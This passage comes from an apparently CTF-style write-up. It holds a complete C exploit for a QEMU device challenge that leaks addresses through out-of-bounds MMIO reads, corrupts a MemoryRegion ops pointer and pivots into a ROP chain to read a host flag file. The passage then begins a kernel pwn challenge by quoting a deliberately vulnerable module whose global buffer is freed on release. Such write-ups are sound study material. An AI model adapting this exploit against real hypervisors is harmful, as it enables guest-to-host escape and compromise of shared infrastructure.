     */</span>
    <span class="n">bool</span> <span class="p">(</span><span class="o">*</span><span class="n">accepts</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="n">opaque</span><span class="p">,</span> <span class="n">hwaddr</span> <span class="n">addr</span><span class="p">,</span>
                    <span class="kt">unsigned</span> <span class="n">size</span><span class="p">,</span> <span class="n">bool</span> <span class="n">is_write</span><span class="p">,</span>
                    <span class="n">MemTxAttrs</span> <span class="n">attrs</span><span class="p">);</span>
</code></pre></div></div>
<p>Looking at the function signature we can see that the first parameter is <code class="language-plaintext highlighter-rouge">opaque</code>. This is the pointer in the <code class="language-plaintext highlighter-rouge">MemoryRegion</code> struct that comes right after the <code class="language-plaintext highlighter-rouge">ops</code> pointer. So by also overwriting this pointer, we can also control <code class="language-plaintext highlighter-rouge">rdi</code>. Sadly we can’t simply call <code class="language-plaintext highlighter-rouge">system("/bin/sh")</code> as the qemu binary has a seccomp filter preventing this.</p>

<p>Therefore, I corrupted the <code class="language-plaintext highlighter-rouge">accepts</code> function pointer with a <code class="language-plaintext highlighter-rouge">push rdi; pop rbp; ret</code> gadget in order to stack pivot and execute a ropchain to read the flag.</p>

<h3 id="exploit">Exploit</h3>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;assert.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;fcntl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stddef.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdint.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdbool.h&gt;</span><span class="cp">
</span>
<span class="cp">#include</span> <span class="cpf">&lt;sys/mman.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/types.h&gt;</span><span class="cp">
</span>
<span class="cp">#define true 1
#define false 0
</span>
<span class="c1">// Address of the mmio region in physical memory</span>
<span class="cp">#define MMIO_PHYSADDR 0xfebd0000
#define MMIO_DELETE_PHYSADDR (MMIO_PHYSADDR + offsetof(struct mmio, delete_req))
#define MMIO_SIZE 0x10000
#define DEV_PATH "/sys/devices/pci0000:00/0000:00:05.0/resource0"
#define PAGE_SZ 0x1000
</span>
<span class="k">volatile</span> <span class="kt">int</span> <span class="n">result</span><span class="p">;</span>

<span class="k">typedef</span> <span class="k">struct</span> <span class="p">{</span>
    <span class="kt">uint32_t</span> <span class="n">op</span><span class="p">;</span>
    <span class="kt">uint32_t</span> <span class="n">src</span><span class="p">;</span>
    <span class="kt">uint32_t</span> <span class="n">off</span><span class="p">;</span>
<span class="p">}</span> <span class="n">mmio_t</span><span class="p">;</span>

<span class="k">struct</span> <span class="n">tcache</span> <span class="p">{</span>
    <span class="kt">uint16_t</span> <span class="n">counts</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span>
    <span class="kt">uint64_t</span> <span class="n">entries</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span>
<span class="p">};</span>

<span class="k">static</span> <span class="kt">void</span> <span class="nf">die</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">msg</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">perror</span><span class="p">(</span><span class="n">msg</span><span class="p">);</span>
    <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>

<span class="cp">#define WAIT(void) {getc(stdin); \
                    fflush(stdin);}
#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)
</span>
<span class="k">static</span> <span class="kt">void</span> <span class="nf">hexdump8</span><span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span> <span class="n">buf</span><span class="p">,</span> <span class="kt">int</span> <span class="n">len</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">assert</span><span class="p">(</span><span class="n">len</span> <span class="o">%</span> <span class="mh">0x8</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;=</span> <span class="n">len</span> <span class="o">/</span> <span class="mi">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"0x%016llx "</span><span class="p">,</span> <span class="n">buf</span><span class="p">[</span><span class="n">i</span><span class="o">-</span><span class="mi">1</span><span class="p">]);</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">i</span> <span class="o">%</span> <span class="mh">0x2</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>

<span class="c1">// See https://www.kernel.org/doc/Documentation/vm/pagemap.txt</span>
<span class="k">static</span> <span class="kt">uint64_t</span> <span class="nf">virt2phys</span><span class="p">(</span><span class="kt">void</span><span class="o">*</span> <span class="n">p</span><span class="p">,</span> <span class="kt">int</span> <span class="n">has_to_be_present</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">uint64_t</span> <span class="n">virt</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="p">)</span><span class="n">p</span><span class="p">;</span>
    <span class="kt">uint32_t</span> <span class="n">saved_offset</span> <span class="o">=</span> <span class="n">virt</span> <span class="o">&amp;</span> <span class="mh">0xfff</span><span class="p">;</span>
    <span class="n">virt</span> <span class="o">-=</span> <span class="n">saved_offset</span><span class="p">;</span>

    <span class="c1">// Assert page alignment</span>
    <span class="n">assert</span><span class="p">((</span><span class="n">virt</span> <span class="o">&amp;</span> <span class="mh">0xfff</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>

    <span class="kt">int</span> <span class="n">fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/proc/self/pagemap"</span><span class="p">,</span> <span class="n">O_RDONLY</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">fd</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">errExit</span><span class="p">(</span><span class="s">"open"</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="kt">uint64_t</span> <span class="n">offset</span> <span class="o">=</span> <span class="p">(</span><span class="n">virt</span> <span class="o">/</span> <span class="mh">0x1000</span><span class="p">)</span> <span class="o">*</span> <span class="mi">8</span><span class="p">;</span>
    <span class="n">lseek</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">offset</span><span class="p">,</span> <span class="n">SEEK_SET</span><span class="p">);</span>

    <span class="kt">uint64_t</span> <span class="n">phys</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">read</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">phys</span><span class="p">,</span> <span class="mi">8</span> <span class="p">)</span> <span class="o">!=</span> <span class="mi">8</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">errExit</span><span class="p">(</span><span class="s">"read"</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="c1">// Assert page present</span>
    <span class="n">assert</span><span class="p">((</span><span class="o">!</span><span class="n">has_to_be_present</span><span class="p">)</span> <span class="o">||</span> <span class="n">phys</span> <span class="o">&amp;</span> <span class="p">(</span><span class="mi">1ULL</span> <span class="o">&lt;&lt;</span> <span class="mi">63</span><span class="p">));</span>

    <span class="n">phys</span> <span class="o">=</span> <span class="p">(</span><span class="n">phys</span> <span class="o">&amp;</span> <span class="p">((</span><span class="mi">1ULL</span> <span class="o">&lt;&lt;</span> <span class="mi">54</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">))</span> <span class="o">*</span> <span class="mh">0x1000</span><span class="p">;</span>
    <span class="k">return</span> <span class="n">phys</span> <span class="o">+</span> <span class="n">saved_offset</span><span class="p">;</span>
<span class="p">}</span>

<span class="cp">#define TRIGGER 0x0
</span>
<span class="c1">// read in our buffer</span>
<span class="k">static</span> <span class="kt">uint32_t</span> <span class="nf">maria_read</span><span class="p">(</span><span class="n">mmio_t</span><span class="o">*</span> <span class="n">mmio</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">src</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="n">off</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">mmio</span><span class="o">-&gt;</span><span class="n">src</span> <span class="o">=</span> <span class="n">src</span><span class="p">;</span>
    <span class="n">mmio</span><span class="o">-&gt;</span><span class="n">off</span> <span class="o">=</span> <span class="n">off</span><span class="p">;</span>
    <span class="k">return</span> <span class="n">mmio</span><span class="o">-&gt;</span><span class="n">op</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// write buffer to us</span>
<span class="k">static</span> <span class="kt">uint32_t</span> <span class="nf">maria_write</span><span class="p">(</span><span class="n">mmio_t</span><span class="o">*</span> <span class="n">mmio</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">src</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="n">off</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">mmio</span><span class="o">-&gt;</span><span class="n">src</span> <span class="o">=</span> <span class="n">src</span><span class="p">;</span>
    <span class="n">mmio</span><span class="o">-&gt;</span><span class="n">off</span> <span class="o">=</span> <span class="n">off</span><span class="p">;</span>
    <span class="n">mmio</span><span class="o">-&gt;</span><span class="n">op</span> <span class="o">=</span> <span class="n">TRIGGER</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">void</span> <span class="o">*</span>
<span class="nf">alloc_workbuf</span><span class="p">(</span><span class="kt">size_t</span> <span class="n">size</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">int</span> <span class="n">ret</span><span class="p">;</span>
    <span class="kt">void</span><span class="o">*</span> <span class="n">ptr</span> <span class="o">=</span> <span class="n">aligned_alloc</span><span class="p">(</span><span class="n">PAGE_SZ</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>

    <span class="cm">/* return NULL on failure */</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">ptr</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">errExit</span><span class="p">(</span><span class="s">"posix_memalign"</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="cm">/* lock this buffer into RAM */</span>
    <span class="n">ret</span> <span class="o">=</span> <span class="n">mlock</span><span class="p">(</span><span class="n">ptr</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">errExit</span><span class="p">(</span><span class="s">"mlock"</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="n">ptr</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">typedef</span> <span class="k">struct</span> <span class="p">{</span>
    <span class="kt">uint64_t</span> <span class="n">read_fp</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">write_fp</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">read_with_attrs_fp</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">write_with_attrs_fp</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">endianness</span><span class="p">;</span>
    <span class="k">struct</span> <span class="p">{</span>
        <span class="kt">unsigned</span> <span class="n">min_access_size</span><span class="p">;</span>
        <span class="kt">unsigned</span> <span class="n">max_access_size</span><span class="p">;</span>
         <span class="n">bool</span> <span class="n">unaligned</span><span class="p">;</span>
        <span class="kt">uint64_t</span> <span class="n">accepts_fp</span><span class="p">;</span>
    <span class="p">}</span> <span class="n">valid</span><span class="p">;</span>
    <span class="k">struct</span> <span class="p">{</span>
        <span class="kt">unsigned</span> <span class="n">min_access_size</span><span class="p">;</span>
        <span class="kt">unsigned</span> <span class="n">max_access_size</span><span class="p">;</span>
        <span class="n">bool</span> <span class="n">unaligned</span><span class="p">;</span>
    <span class="p">}</span> <span class="n">impl</span><span class="p">;</span>

<span class="p">}</span> <span class="n">mem_reg_ops_t</span><span class="p">;</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">int</span> <span class="n">fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="n">DEV_PATH</span><span class="p">,</span> <span class="n">O_RDWR</span> <span class="o">|</span> <span class="n">O_SYNC</span><span class="p">);</span>
    <span class="kt">int</span> <span class="n">ret</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">fd</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">errExit</span><span class="p">(</span><span class="s">"open dev"</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="n">mmio_t</span> <span class="o">*</span><span class="n">mmio</span> <span class="o">=</span> <span class="n">mmap</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">MMIO_SIZE</span><span class="p">,</span> <span class="n">PROT_READ</span> <span class="o">|</span> <span class="n">PROT_WRITE</span><span class="p">,</span>
                                      <span class="n">MAP_SHARED</span><span class="p">,</span> <span class="n">fd</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">mmio</span> <span class="o">==</span> <span class="n">MAP_FAILED</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">errExit</span><span class="p">(</span><span class="s">"mmio mmap"</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="kt">char</span> <span class="o">*</span><span class="n">buf</span> <span class="o">=</span> <span class="n">alloc_workbuf</span><span class="p">(</span><span class="mh">0x1000</span><span class="p">);</span>

    <span class="kt">uint64_t</span> <span class="n">addr</span> <span class="o">=</span> <span class="n">virt2phys</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="nb">true</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"phys addr: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">addr</span><span class="p">);</span>

    <span class="n">memset</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">);</span>

    <span class="c1">// -0x1000 to account for the fact that our buffer is only 0x1000 bytes big</span>
    <span class="n">ret</span> <span class="o">=</span> <span class="n">maria_read</span><span class="p">(</span><span class="n">mmio</span><span class="p">,</span> <span class="n">addr</span> <span class="o">-</span> <span class="mh">0x1000</span><span class="p">,</span> <span class="mi">88</span><span class="p">);</span>

    <span class="kt">uint64_t</span><span class="o">*</span> <span class="n">p_buf</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)(</span><span class="n">buf</span><span class="o">+</span> <span class="mh">0x1000</span><span class="o">-</span><span class="mi">88</span><span class="p">);</span>
    <span class="kt">uint64_t</span> <span class="n">qemu_leak</span> <span class="o">=</span> <span class="n">p_buf</span><span class="p">[</span><span class="mh">0x48</span><span class="o">/</span> <span class="mi">8</span><span class="p">];</span>
    <span class="c1">// opaque = first param to mmio funcs</span>
    <span class="kt">uint64_t</span> <span class="n">opaque</span> <span class="o">=</span> <span class="n">p_buf</span><span class="p">[</span><span class="mh">0x50</span> <span class="o">/</span> <span class="mi">8</span><span class="p">];</span>
    <span class="kt">uint64_t</span> <span class="n">system_plt</span> <span class="o">=</span> <span class="n">qemu_leak</span> <span class="o">-</span> <span class="mh">0xc13ee0</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">execv_plt</span> <span class="o">=</span> <span class="n">qemu_leak</span> <span class="o">-</span> <span class="mh">0xc14620</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">qemu_base</span> <span class="o">=</span> <span class="n">qemu_leak</span> <span class="o">-</span><span class="mh">0xf1ff80</span><span class="p">;</span>

    <span class="kt">uint64_t</span> <span class="n">pop_rdi_ret</span> <span class="o">=</span> <span class="n">qemu_base</span> <span class="o">+</span> <span class="mh">0x632c5d</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">pop_rsi_ret</span> <span class="o">=</span> <span class="n">qemu_base</span> <span class="o">+</span> <span class="mh">0x4d4db3</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">pop_rdx_ret</span> <span class="o">=</span> <span class="n">qemu_base</span> <span class="o">+</span> <span class="mh">0x47f5c8</span><span class="p">;</span>

    <span class="kt">uint64_t</span> <span class="n">read_plt</span> <span class="o">=</span> <span class="n">qemu_base</span> <span class="o">+</span> <span class="mh">0x30d460</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">open_plt</span> <span class="o">=</span> <span class="n">qemu_base</span> <span class="o">+</span> <span class="mh">0x30a270</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">write_plt</span> <span class="o">=</span> <span class="n">qemu_base</span> <span class="o">+</span> <span class="mh">0x30dc70</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">nop</span> <span class="o">=</span> <span class="n">qemu_base</span> <span class="o">+</span> <span class="mh">0x30601a</span><span class="p">;</span>

    <span class="kt">uint64_t</span> <span class="n">xchg_rsi_rax</span> <span class="o">=</span> <span class="n">qemu_base</span> <span class="o">+</span> <span class="mh">0x9a6176</span><span class="p">;</span>

    <span class="kt">uint64_t</span> <span class="n">push_rdi_pop_rbp</span> <span class="o">=</span> <span class="n">qemu_base</span> <span class="o">+</span> <span class="mh">0x8e7014</span><span class="p">;</span>

    <span class="n">memcpy</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="s">"/home/h0ps/flag"</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="s">"/home/h0ps/flag"</span><span class="p">));</span>
    <span class="kt">uint64_t</span> <span class="n">str_loc</span> <span class="o">=</span> <span class="n">opaque</span> <span class="o">+</span> <span class="mh">0x1a88</span><span class="p">;</span>

    <span class="c1">// corrupt ops ptr, point it to our fake ops</span>
    <span class="n">p_buf</span><span class="p">[</span><span class="mh">0x48</span> <span class="o">/</span> <span class="mi">8</span><span class="p">]</span> <span class="o">=</span> <span class="n">opaque</span> <span class="o">+</span> <span class="mh">0x1a88</span> <span class="o">+</span> <span class="mh">0x20</span><span class="p">;</span>
    <span class="c1">// corrupt opaque member</span>
    <span class="c1">// -0x8 due to rbp pop</span>
    <span class="n">p_buf</span><span class="p">[</span><span class="mh">0x50</span> <span class="o">/</span> <span class="mi">8</span><span class="p">]</span> <span class="o">=</span> <span class="n">opaque</span> <span class="o">+</span> <span class="mh">0x1a88</span> <span class="o">+</span> <span class="mh">0x20</span> <span class="o">+</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">mem_reg_ops_t</span><span class="p">)</span> <span class="o">-</span> <span class="mh">0x8</span><span class="p">;</span>

    <span class="n">p_buf</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)</span><span class="n">buf</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">off</span> <span class="o">=</span> <span class="mh">0x20</span> <span class="o">/</span> <span class="mi">8</span><span class="p">;</span>

    <span class="n">mem_reg_ops_t</span> <span class="o">*</span><span class="n">ops</span> <span class="o">=</span> <span class="p">(</span><span class="n">mem_reg_ops_t</span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">p_buf</span><span class="p">[</span><span class="n">off</span><span class="p">];</span>
    <span class="n">ops</span><span class="o">-&gt;</span><span class="n">valid</span><span class="p">.</span><span class="n">accepts_fp</span> <span class="o">=</span> <span class="n">push_rdi_pop_rbp</span><span class="p">;</span>

    <span class="n">off</span> <span class="o">+=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">mem_reg_ops_t</span><span class="p">)</span> <span class="o">/</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">uint64_t</span><span class="p">);</span>

    <span class="n">p_buf</span><span class="p">[</span><span class="n">off</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">pop_rdi_ret</span><span class="p">;</span>
    <span class="n">p_buf</span><span class="p">[</span><span class="n">off</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">str_loc</span><span class="p">;</span>
    <span class="n">p_buf</span><span class="p">[</span><span class="n">off</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">pop_rsi_ret</span><span class="p">;</span>
    <span class="n">p_buf</span><span class="p">[</span><span class="n">off</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">;</span>
    <span class="n">p_buf</span><span class="p">[</span><span class="n">off</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">pop_rdx_ret</span><span class="p">;</span>
    <span class="n">p_buf</span><span class="p">[</span><span class="n">off</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">;</span>
    <span class="n">p_buf</span><span class="p">[</span><span class="n">off</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">open_plt</span><span class="p">;</span>

    <span class="n">p_buf</span><span class="p">[</span><span class="n">off</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">pop_rdi_ret</span><span class="p">;</span>
    <span class="n">p_buf</span><span class="p">[</span><span class="n">off</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0xc</span><span class="p">;</span>
    <span class="n">p_buf</span><span class="p">[</span><span class="n">off</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">pop_rsi_ret</span><span class="p">;</span>
    <span class="n">p_buf</span><span class="p">[</span><span class="n">off</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">str_loc</span><span class="p">;</span>
    <span class="n">p_buf</span><span class="p">[</span><span class="n">off</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">pop_rdx_ret</span><span class="p">;</span>
    <span class="n">p_buf</span><span class="p">[</span><span class="n">off</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x40</span><span class="p">;</span>
    <span class="n">p_buf</span><span class="p">[</span><span class="n">off</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">read_plt</span><span class="p">;</span>

    <span class="n">p_buf</span><span class="p">[</span><span class="n">off</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">pop_rdi_ret</span><span class="p">;</span>
    <span class="n">p_buf</span><span class="p">[</span><span class="n">off</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x1</span><span class="p">;</span>
    <span class="n">p_buf</span><span class="p">[</span><span class="n">off</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">pop_rsi_ret</span><span class="p">;</span>
    <span class="n">p_buf</span><span class="p">[</span><span class="n">off</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">str_loc</span><span class="p">;</span>
    <span class="n">p_buf</span><span class="p">[</span><span class="n">off</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">pop_rdx_ret</span><span class="p">;</span>
    <span class="n">p_buf</span><span class="p">[</span><span class="n">off</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x40</span><span class="p">;</span>
    <span class="n">p_buf</span><span class="p">[</span><span class="n">off</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">write_plt</span><span class="p">;</span>

    <span class="n">p_buf</span><span class="p">[</span><span class="n">off</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x424242</span><span class="p">;</span>

    <span class="n">maria_write</span><span class="p">(</span><span class="n">mmio</span><span class="p">,</span> <span class="n">addr</span> <span class="o">-</span> <span class="mh">0x1000</span><span class="p">,</span> <span class="mi">88</span><span class="p">);</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"Fake stack: %p </span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">opaque</span> <span class="o">+</span> <span class="mh">0x1a88</span><span class="o">+</span><span class="mh">0x10</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"qemu_leak: %p </span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">qemu_leak</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"system: %p </span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">system_plt</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Opaqque: %p </span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">opaque</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"/bin/sh: %p </span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">opaque</span><span class="o">+</span><span class="mh">0x1a88</span><span class="p">);</span>
    <span class="c1">//hexdump8(p_buf, 0x80);</span>

    <span class="c1">//WAIT();</span>
    <span class="c1">// trigger chain</span>
    <span class="n">ret</span> <span class="o">=</span> <span class="n">maria_read</span><span class="p">(</span><span class="n">mmio</span><span class="p">,</span> <span class="mh">0x414141</span><span class="p">,</span> <span class="mh">0x424242</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h2 id="rose-sec">Wall Rose</h2>
<p>Wall Rose was a kernel pwn challenge. We were given the source code of the vulnerable module which is very simple:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;linux/atomic.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/device.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/fs.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/init.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/kernel.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/miscdevice.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/module.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/slab.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/uaccess.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;asm/errno.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/printk.h&gt;</span><span class="cp">
</span>
<span class="cp">#define MAX_DATA_HEIGHT 0x400
</span>
<span class="n">MODULE_AUTHOR</span><span class="p">(</span><span class="s">"wxrdnx"</span><span class="p">);</span>
<span class="n">MODULE_LICENSE</span><span class="p">(</span><span class="s">"GPL"</span><span class="p">);</span>
<span class="n">MODULE_DESCRIPTION</span><span class="p">(</span><span class="s">"Wall Rose"</span><span class="p">);</span>

<span class="k">static</span> <span class="kt">char</span> <span class="o">*</span><span class="n">data</span><span class="p">;</span>

<span class="k">static</span> <span class="kt">int</span> <span class="nf">rose_open</span><span class="p">(</span><span class="k">struct</span> <span class="n">inode</span> <span class="o">*</span><span class="n">inode</span><span class="p">,</span> <span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="n">file</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">data</span> <span class="o">=</span> <span class="n">kmalloc</span><span class="p">(</span><span class="n">MAX_DATA_HEIGHT</span><span class="p">,</span> <span class="n">GFP_KERNEL</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">data</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">printk</span><span class="p">(</span><span class="n">KERN_ERR</span> <span class="s">"Wall Rose: kmalloc error</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">memset</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">MAX_DATA_HEIGHT</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">int</span> <span class="nf">rose_release</span><span class="p">(</span><span class="k">struct</span> <span class="n">inode</span> <span class="o">*</span><span class="n">inode</span><span class="p">,</span> <span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="n">file</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">kfree</span><span class="p">(</span><span class="n">data</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

